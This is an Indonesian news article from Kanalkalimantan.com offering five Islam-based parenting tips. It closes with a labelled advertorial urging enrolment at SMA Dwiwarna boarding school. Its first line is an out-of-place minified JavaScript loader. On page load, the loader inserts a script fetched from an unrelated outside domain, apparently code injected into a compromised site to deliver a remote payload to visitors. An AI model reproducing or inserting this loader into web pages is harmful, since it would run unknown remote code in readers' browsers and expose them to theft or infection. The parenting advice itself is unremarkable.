(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pendidikan

Cara Mendidik Anak Menurut Islam yang Harus Orangtua Pahami

KANALKALIMANTAN.COM – Anak adalah anugerah sekaligus amanah pemberian Allah SWT pada setiap orangtua dan nantinya harus dipertanggungjawabkan di akhirat. Itulah sebabnya tugas menjadi orangtua tidaklah mudah, sebab harus membesarkan, menjaga, merawat, mendidik anaknya dengan kasih sayang dan penuh tanggung jawab.

Untuk itu, penting dalam keseharian orang tua tahu bagaimana cara mendidik anak menurut Islam, agar si buah hati bisa menjadi sosok yang berguna bagi lingkungan sekitar maupun agamanya. Lantas, bagaimana cara mendidik anak menurut Islam yang perlu orangtua pahami? Yuk simak penjelasannya!

Cara Mendidik Anak Menurut Islam

1. Orangtua Harus Menjadi Panutan Anak

Cara mendidik anak menurut Islam yang pertama adalah tiap orangtua wajib paham jika mereka adalah contoh atau panutan untuk anaknya. Sudah menjadi tanggung jawab orangtua untuk mengajarkan anak tentang berbagai hal bagaimana melakukan sesuatu, memilih mana yang benar dan salah, memilih lingkungan, dan bergaul dengan tipe orang seperti apa. Itulah sebabnya tiap orangtua harus berhati-hati saat bertindak maupun berucap karena anak mungkin saja menirunya.

2. Memberikan Nasihat di Waktu yang Tepat

Sesuai dengan ajaran Rasulullah SAW dimana beliau sangat memperhatikan tempat dan waktu untuk menasehati anak. Misalnya dalam perjalanan karena pada kondisi tersebut anak sedang dalam suasana gembira dan nyaman.

Waktu selanjutnya adalah saat makan. Tak bisa dipungkiri ketika sedang makan anak justru berlaku tidak sopan. Jadi, orangtua wajib mendampingi dan memberi nasihat pada anak jika ia berbuat kurang sopan.

Selanjutnya saat anak sakit. Ketika anak sedang dalam kondisi kurang sehat, ia pasti tidak akan banyak berbicara, berkegiatan, dan dalam kondisi tenang. Jadi, ini waktu yang tepat untuk kamu memberikan arahan pada anak.

3. Belajar adalah Proses dan Memerlukan Pengulangan

Orangtua wajib memahami jika proses belajar yang dilalui anak adalah proses yang memerlukan waktu dan kesabaran serta tidak cukup hanya sekali lalu langsung bisa. Jadi perlu pengulangan agar ia menguasainya.

Contoh, jika kamu ingin anak terbiasa shalat 5 waktu, diperlukan pembiasaan secara konsisten berbulan-bulan, agar anak menjadikan hal tersebut rutinitas wajib yang tidak boleh dilewatkan dalam keseharian.

4. Orangtua Wajib Pahami Batasan

Selanjutnya, cara mendidik anak menurut Islam yang juga perlu dilakukan orangtua adalah memberikan batasan pada anak. Jadi, orangtua perlu memahami jika setiap anak perlu diberi kebebasan dalam berperilaku dan bertindak dalam konteks yang positif.

Misalnya, membiasakan orangtua untuk meminta pendapat anak jika kamu ingin melakukan sesuatu pada mereka. Selain itu, bisa dengan menetapkan aturan dan batasan dalam keluarga. Contoh jika anak sedang bermain atau belajar, orangtua jangan ganggu mereka.

5. Ajarkan Kebaikan dan Kasih Sayang

Rasulullah SAW adalah sosok yang penuh kasih sayang kepada siapa saja, khusus pada anak-anaknya. Beliau mengajarkan cara mendidik anak menurut Islam tidak harus selalu memaksa anak untuk melakukan sesuatu seperti belajar. Biasakan juga untuk bertutur kata dengan cara yang baik dan hindari juga memarahi anak ketika mereka berbuat salah.

Itulah 5 cara mendidik anak menurut Islam yang sebaiknya diikuti. Dalam memberikan pendidikan pada anak bukan hanya berasal dari keluarga saja, tapi juga dari sekolah. Apalagi anak menghabiskan banyak waktu di tempat ini.

Agar nilai-nilai agama Islam yang diajarkan oleh keluarga tidak hilang, sebisa mungkin kamu perlu memilih sekolah yang juga menerapkan nilai-nilai keIslaman dalam keseharian maupun pembelajarannya.

Kamu bisa memilih SMA Dwiwarna (Boarding School) yang merupakan salah satu SMA Islam terbaik di Indonesia. selain menerapkan pembelajaran sesuai kurikulum yang ditetapkan pemerintah dan dikombinasikan dengan metode internasional, sekolah ini juga memiliki program pengembangan keagamaan yang diwujudkan dalam beberapa kegiatan rutin seperti Tahfiz/Tahsin dan belajar membaca Al Qur’an, shalat dhuha bersama, shalat berjamaah, serta acara peringatan Hari Besar Islam.

Cukup lengkap bukan? SMA Dwiwarna (Boarding School) sangat tepat untuk menjadi sekolah remaja. Anak didiknya tidak hanya dibekali dengan ilmu akademik saja, tapi juga karakter dan akhlak yang baik. Jadi jangan ragu lagi, segera daftarkan diri ke www.smadwiwarna.sch.id sekarang juga! (Kanalkalimantan.com/adv)